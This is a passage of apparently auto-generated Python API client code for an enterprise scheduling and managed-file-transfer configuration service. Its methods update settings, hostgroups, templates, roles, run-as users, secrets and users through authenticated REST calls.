all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method test_run_as_user" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'server' is set
if self.api_client.client_side_validation and ('server' not in params or
params['server'] is None): # noqa: E501
raise ValueError("Missing the required parameter `server` when calling `test_run_as_user`") # noqa: E501
# verify the required parameter 'agent' is set
if self.api_client.client_side_validation and ('agent' not in params or
params['agent'] is None): # noqa: E501
raise ValueError("Missing the required parameter `agent` when calling `test_run_as_user`") # noqa: E501
# verify the required parameter 'user' is set
if self.api_client.client_side_validation and ('user' not in params or
params['user'] is None): # noqa: E501
raise ValueError("Missing the required parameter `user` when calling `test_run_as_user`") # noqa: E501
collection_formats = {}
path_params = {}
if 'server' in params:
path_params['server'] = params['server'] # noqa: E501
if 'agent' in params:
path_params['agent'] = params['agent'] # noqa: E501
if 'user' in params:
path_params['user'] = params['user'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'run_as_user_details_data' in params:
body_params = params['run_as_user_details_data']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/server/{server}/runasuser/{agent}/{user}/test', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SuccessData', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def update_fts_settings(self, server, agent, fts_settings_data, **kwargs): # noqa: E501
"""Update File Transfer Server (FTS) configuration data. # noqa: E501
Update File Transfer Server (FTS) configuration data. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_fts_settings(server, agent, fts_settings_data, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server (required)
:param str agent: The Agent (required)
:param FtsSettingsData fts_settings_data: File Transfer Server (FTS) configuration data (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.update_fts_settings_with_http_info(server, agent, fts_settings_data, **kwargs) # noqa: E501
else:
(data) = self.update_fts_settings_with_http_info(server, agent, fts_settings_data, **kwargs) # noqa: E501
return data
def update_fts_settings_with_http_info(self, server, agent, fts_settings_data, **kwargs): # noqa: E501
"""Update File Transfer Server (FTS) configuration data. # noqa: E501
Update File Transfer Server (FTS) configuration data. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_fts_settings_with_http_info(server, agent, fts_settings_data, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server (required)
:param str agent: The Agent (required)
:param FtsSettingsData fts_settings_data: File Transfer Server (FTS) configuration data (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['server', 'agent', 'fts_settings_data'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method update_fts_settings" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'server' is set
if self.api_client.client_side_validation and ('server' not in params or
params['server'] is None): # noqa: E501
raise ValueError("Missing the required parameter `server` when calling `update_fts_settings`") # noqa: E501
# verify the required parameter 'agent' is set
if self.api_client.client_side_validation and ('agent' not in params or
params['agent'] is None): # noqa: E501
raise ValueError("Missing the required parameter `agent` when calling `update_fts_settings`") # noqa: E501
# verify the required parameter 'fts_settings_data' is set
if self.api_client.client_side_validation and ('fts_settings_data' not in params or
params['fts_settings_data'] is None): # noqa: E501
raise ValueError("Missing the required parameter `fts_settings_data` when calling `update_fts_settings`") # noqa: E501
collection_formats = {}
path_params = {}
if 'server' in params:
path_params['server'] = params['server'] # noqa: E501
if 'agent' in params:
path_params['agent'] = params['agent'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'fts_settings_data' in params:
body_params = params['fts_settings_data']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json', 'text/plain']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/server/{server}/agent/{agent}/mft/fts/settings', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SuccessData', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def update_hosts_in_hostgroup(self, server, hostgroup, host_group_member_params_list, **kwargs): # noqa: E501
"""update agents in hostgroup. # noqa: E501
update agents in hostgroup. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_hosts_in_hostgroup(server, hostgroup, host_group_member_params_list, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server the agent is connected to. (required)
:param str hostgroup: The hostgroup name (required)
:param HostgroupProperties host_group_member_params_list: Agent list to update in a hostgroup (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.update_hosts_in_hostgroup_with_http_info(server, hostgroup, host_group_member_params_list, **kwargs) # noqa: E501
else:
(data) = self.update_hosts_in_hostgroup_with_http_info(server, hostgroup, host_group_member_params_list, **kwargs) # noqa: E501
return data
def update_hosts_in_hostgroup_with_http_info(self, server, hostgroup, host_group_member_params_list, **kwargs): # noqa: E501
"""update agents in hostgroup. # noqa: E501
update agents in hostgroup. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_hosts_in_hostgroup_with_http_info(server, hostgroup, host_group_member_params_list, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server the agent is connected to. (required)
:param str hostgroup: The hostgroup name (required)
:param HostgroupProperties host_group_member_params_list: Agent list to update in a hostgroup (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['server', 'hostgroup', 'host_group_member_params_list'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method update_hosts_in_hostgroup" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'server' is set
if self.api_client.client_side_validation and ('server' not in params or
params['server'] is None): # noqa: E501
raise ValueError("Missing the required parameter `server` when calling `update_hosts_in_hostgroup`") # noqa: E501
# verify the required parameter 'hostgroup' is set
if self.api_client.client_side_validation and ('hostgroup' not in params or
params['hostgroup'] is None): # noqa: E501
raise ValueError("Missing the required parameter `hostgroup` when calling `update_hosts_in_hostgroup`") # noqa: E501
# verify the required parameter 'host_group_member_params_list' is set
if self.api_client.client_side_validation and ('host_group_member_params_list' not in params or
params['host_group_member_params_list'] is None): # noqa: E501
raise ValueError("Missing the required parameter `host_group_member_params_list` when calling `update_hosts_in_hostgroup`") # noqa: E501
collection_formats = {}
path_params = {}
if 'server' in params:
path_params['server'] = params['server'] # noqa: E501
if 'hostgroup' in params:
path_params['hostgroup'] = params['hostgroup'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'host_group_member_params_list' in params:
body_params = params['host_group_member_params_list']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/server/{server}/hostgroup/{hostgroup}', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SuccessData', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def update_mft_configuration(self, server, agent, mft_configuration_data, **kwargs): # noqa: E501
"""Update MFT Configuration # noqa: E501
Update MFT Configuration # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_mft_configuration(server, agent, mft_configuration_data, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server (required)
:param str agent: The Agent (required)
:param MftConfigurationData mft_configuration_data: MFT Configuration Data (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.update_mft_configuration_with_http_info(server, agent, mft_configuration_data, **kwargs) # noqa: E501
else:
(data) = self.update_mft_configuration_with_http_info(server, agent, mft_configuration_data, **kwargs) # noqa: E501
return data
def update_mft_configuration_with_http_info(self, server, agent, mft_configuration_data, **kwargs): # noqa: E501
"""Update MFT Configuration # noqa: E501
Update MFT Configuration # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_mft_configuration_with_http_info(server, agent, mft_configuration_data, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server (required)
:param str agent: The Agent (required)
:param MftConfigurationData mft_configuration_data: MFT Configuration Data (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['server', 'agent', 'mft_configuration_data'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method update_mft_configuration" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'server' is set
if self.api_client.client_side_validation and ('server' not in params or
params['server'] is None): # noqa: E501
raise ValueError("Missing the required parameter `server` when calling `update_mft_configuration`") # noqa: E501
# verify the required parameter 'agent' is set
if self.api_client.client_side_validation and ('agent' not in params or
params['agent'] is None): # noqa: E501
raise ValueError("Missing the required parameter `agent` when calling `update_mft_configuration`") # noqa: E501
# verify the required parameter 'mft_configuration_data' is set
if self.api_client.client_side_validation and ('mft_configuration_data' not in params or
params['mft_configuration_data'] is None): # noqa: E501
raise ValueError("Missing the required parameter `mft_configuration_data` when calling `update_mft_configuration`") # noqa: E501
collection_formats = {}
path_params = {}
if 'server' in params:
path_params['server'] = params['server'] # noqa: E501
if 'agent' in params:
path_params['agent'] = params['agent'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'mft_configuration_data' in params:
body_params = params['mft_configuration_data']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/server/{server}/agent/{agent}/mft/configuration', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SuccessData', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def update_pgp_template(self, server, agent, template_name, pgp_template_data, **kwargs): # noqa: E501
"""Update PGP Template # noqa: E501
Update PGP Template # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_pgp_template(server, agent, template_name, pgp_template_data, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server (required)
:param str agent: The Agent (required)
:param str template_name: The PGP Template Name (required)
:param PgpTemplateData pgp_template_data: PGP Template Data (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.update_pgp_template_with_http_info(server, agent, template_name, pgp_template_data, **kwargs) # noqa: E501
else:
(data) = self.update_pgp_template_with_http_info(server, agent, template_name, pgp_template_data, **kwargs) # noqa: E501
return data
def update_pgp_template_with_http_info(self, server, agent, template_name, pgp_template_data, **kwargs): # noqa: E501
"""Update PGP Template # noqa: E501
Update PGP Template # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_pgp_template_with_http_info(server, agent, template_name, pgp_template_data, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server (required)
:param str agent: The Agent (required)
:param str template_name: The PGP Template Name (required)
:param PgpTemplateData pgp_template_data: PGP Template Data (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['server', 'agent', 'template_name', 'pgp_template_data'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method update_pgp_template" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'server' is set
if self.api_client.client_side_validation and ('server' not in params or
params['server'] is None): # noqa: E501
raise ValueError("Missing the required parameter `server` when calling `update_pgp_template`") # noqa: E501
# verify the required parameter 'agent' is set
if self.api_client.client_side_validation and ('agent' not in params or
params['agent'] is None): # noqa: E501
raise ValueError("Missing the required parameter `agent` when calling `update_pgp_template`") # noqa: E501
# verify the required parameter 'template_name' is set
if self.api_client.client_side_validation and ('template_name' not in params or
params['template_name'] is None): # noqa: E501
raise ValueError("Missing the required parameter `template_name` when calling `update_pgp_template`") # noqa: E501
# verify the required parameter 'pgp_template_data' is set
if self.api_client.client_side_validation and ('pgp_template_data' not in params or
params['pgp_template_data'] is None): # noqa: E501
raise ValueError("Missing the required parameter `pgp_template_data` when calling `update_pgp_template`") # noqa: E501
collection_formats = {}
path_params = {}
if 'server' in params:
path_params['server'] = params['server'] # noqa: E501
if 'agent' in params:
path_params['agent'] = params['agent'] # noqa: E501
if 'template_name' in params:
path_params['templateName'] = params['template_name'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'pgp_template_data' in params:
body_params = params['pgp_template_data']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/server/{server}/agent/{agent}/mft/pgptemplate/{templateName}', 'PUT',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SuccessData', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def update_role(self, role, role_file, **kwargs): # noqa: E501
"""Update Authorization Role # noqa: E501
Update Authorization Role # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_role(role, role_file, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str role: The Role name. (required)
:param file role_file: File with contenet of Role Data. (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.update_role_with_http_info(role, role_file, **kwargs) # noqa: E501
else:
(data) = self.update_role_with_http_info(role, role_file, **kwargs) # noqa: E501
return data
def update_role_with_http_info(self, role, role_file, **kwargs): # noqa: E501
"""Update Authorization Role # noqa: E501
Update Authorization Role # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_role_with_http_info(role, role_file, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str role: The Role name. (required)
:param file role_file: File with contenet of Role Data. (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['role', 'role_file'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method update_role" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'role' is set
if self.api_client.client_side_validation and ('role' not in params or
params['role'] is None): # noqa: E501
raise ValueError("Missing the required parameter `role` when calling `update_role`") # noqa: E501
# verify the required parameter 'role_file' is set
if self.api_client.client_side_validation and ('role_file' not in params or
params['role_file'] is None): # noqa: E501
raise ValueError("Missing the required parameter `role_file` when calling `update_role`") # noqa: E501
collection_formats = {}
path_params = {}
if 'role' in params:
path_params['role'] = params['role'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
if 'role_file' in params:
local_var_files['roleFile'] = params['role_file'] # noqa: E501
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['multipart/form-data']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/authorization/role/{role}', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SuccessData', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def update_run_as_user(self, server, agent, user, run_as_user_details_data, **kwargs): # noqa: E501
"""Update Run-as user # noqa: E501
Update Run-as user details in server. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_run_as_user(server, agent, user, run_as_user_details_data, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server. (required)
:param str agent: The Agent (required)
:param str user: The user name (required)
:param RunAsUserDetailsData run_as_user_details_data: Run as user details data (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.update_run_as_user_with_http_info(server, agent, user, run_as_user_details_data, **kwargs) # noqa: E501
else:
(data) = self.update_run_as_user_with_http_info(server, agent, user, run_as_user_details_data, **kwargs) # noqa: E501
return data
def update_run_as_user_with_http_info(self, server, agent, user, run_as_user_details_data, **kwargs): # noqa: E501
"""Update Run-as user # noqa: E501
Update Run-as user details in server. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_run_as_user_with_http_info(server, agent, user, run_as_user_details_data, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server. (required)
:param str agent: The Agent (required)
:param str user: The user name (required)
:param RunAsUserDetailsData run_as_user_details_data: Run as user details data (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['server', 'agent', 'user', 'run_as_user_details_data'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method update_run_as_user" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'server' is set
if self.api_client.client_side_validation and ('server' not in params or
params['server'] is None): # noqa: E501
raise ValueError("Missing the required parameter `server` when calling `update_run_as_user`") # noqa: E501
# verify the required parameter 'agent' is set
if self.api_client.client_side_validation and ('agent' not in params or
params['agent'] is None): # noqa: E501
raise ValueError("Missing the required parameter `agent` when calling `update_run_as_user`") # noqa: E501
# verify the required parameter 'user' is set
if self.api_client.client_side_validation and ('user' not in params or
params['user'] is None): # noqa: E501
raise ValueError("Missing the required parameter `user` when calling `update_run_as_user`") # noqa: E501
# verify the required parameter 'run_as_user_details_data' is set
if self.api_client.client_side_validation and ('run_as_user_details_data' not in params or
params['run_as_user_details_data'] is None): # noqa: E501
raise ValueError("Missing the required parameter `run_as_user_details_data` when calling `update_run_as_user`") # noqa: E501
collection_formats = {}
path_params = {}
if 'server' in params:
path_params['server'] = params['server'] # noqa: E501
if 'agent' in params:
path_params['agent'] = params['agent'] # noqa: E501
if 'user' in params:
path_params['user'] = params['user'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'run_as_user_details_data' in params:
body_params = params['run_as_user_details_data']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/server/{server}/runasuser/{agent}/{user}', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SuccessData', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def update_secret(self, name, **kwargs): # noqa: E501
"""Update an existing secret # noqa: E501
Update an existing secret in the secrets vault. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_secret(name, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str name: The name of the secret to update (required)
:param SecretValue value: The new value for the secret
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.update_secret_with_http_info(name, **kwargs) # noqa: E501
else:
(data) = self.update_secret_with_http_info(name, **kwargs) # noqa: E501
return data
def update_secret_with_http_info(self, name, **kwargs): # noqa: E501
"""Update an existing secret # noqa: E501
Update an existing secret in the secrets vault. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_secret_with_http_info(name, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str name: The name of the secret to update (required)
:param SecretValue value: The new value for the secret
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['name', 'value'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method update_secret" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'name' is set
if self.api_client.client_side_validation and ('name' not in params or
params['name'] is None): # noqa: E501
raise ValueError("Missing the required parameter `name` when calling `update_secret`") # noqa: E501
collection_formats = {}
path_params = {}
if 'name' in params:
path_params['name'] = params['name'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'value' in params:
body_params = params['value']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/secret/{name}', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SuccessData', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def update_user(self, user, user_file, **kwargs): # noqa: E501
"""Update user # noqa: E501
Update user # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_user(user, user_file, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str user: The user name. (required)
:param file user_file: File with contenet of user data. (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.update_user_with_http_info(user, user_file, **kwargs) # noqa: E501
else:
(data) = self.update_user_with_http_info(user, user_file, **kwargs) # noqa: E501
return data
def update_user_with_http_info(self, user, user_file, **kwargs): # noqa: E501
"""Update user # noqa: E501
Update user # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_user_with_http_info(user, user_file, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str user: The user name. (required)
:param file user_file: File with contenet of user data. (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['user', 'user_file'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method update_user" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'user' is set
if self.api_client.client_side_validation and ('user' not in params or
params['user'] is None): # noqa: E501
raise ValueError("Missing the required parameter `user` when calling `update_user`") # noqa: E501
# verify the required parameter 'user_file' is set
if self.api_client.client_side_validation and ('user_file' not in params or
params['user_file'] is None): # noqa: E501
raise ValueError("Missing the required parameter `user_file` when calling `update_user`") # noqa: E501
collection_formats = {}
path_params = {}
if 'user' in params:
path_params['user'] = params['user'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
if 'user_file' in params:
local_var_files['userFile'] = params['user_file'] # noqa: E501
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['multipart/form-data']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/authorization/user/{user}', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SuccessData', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def update_zos_template(self, server, agent, template_name, zos_template_data, **kwargs): # noqa: E501
"""Update z/OS Template # noqa: E501
Update z/OS Template # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_zos_template(server, agent, template_name, zos_template_data, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server (required)
:param str agent: The Agent (required)
:param str template_name: The z/OS Template Name (required)
:param ZosTemplateData zos_template_data: z/OS Template Data (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.update_zos_template_with_http_info(server, agent, template_name, zos_template_data, **kwargs) # noqa: E501
else:
(data) = self.update_zos_template_with_http_info(server, agent, template_name, zos_template_data, **kwargs) # noqa: E501
return data
def update_zos_template_with_http_info(self, server, agent, template_name, zos_template_data, **kwargs): # noqa: E501
"""Update z/OS Template # noqa: E501
Update z/OS Template # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_zos_template_with_http_info(server, agent, template_name, zos_template_data, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server (required)
:param str agent: The Agent (required)
:param str template_name: The z/OS Template Name (required)
:param ZosTemplateData zos_template_data: z/OS Template Data (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['server', 'agent', 'template_name', 'zos_template_data'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method update_zos_template" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'server' is set
if self.api_client.client_side_validation and ('server' not in params or
params['server'] is None): # noqa: E501
raise ValueError("Missing the required parameter `server` when calling `update_zos_template`") # noqa: E501
# verify the required parameter 'agent' is set
if self.api_client.client_side_validation and ('agent' not in params or
params['agent'] is None): # noqa: E501
raise ValueError("Missing the required parameter `agent` when calling `update_zos_template`") # noqa: E501
# verify the required parameter 'template_name' is set
if self.api_client.client_side_validation and ('template_name' not in params or
params['template_name'] is None): # noqa: E501
raise ValueError("Missing the required parameter `template_name` when calling `update_zos_template`") # noqa: E501
# verify the required parameter 'zos_template_data' is set
if self.api_client.client_side_validation and ('zos_template_data' not in params or
params['zos_template_data'] is None): # noqa: E501
raise ValueError("Missing the required parameter `zos_template_data` when calling `update_zos_template`") # noqa: E501
collection_formats = {}
path_params = {}
if 'server' in params:
path_params['server'] = params['server'] # noqa: E501
if 'agent' in params:
path_params['agent'] = params['agent'] # noqa: E501
if 'template_name' in params:
path_params['templateName'] = params['template_name'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'zos_template_data' in params:
body_params = params['zos_template_data']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/server/{server}/agent/{agent}/mft/zostemplate/{templateName}', 'PUT',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SuccessData', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
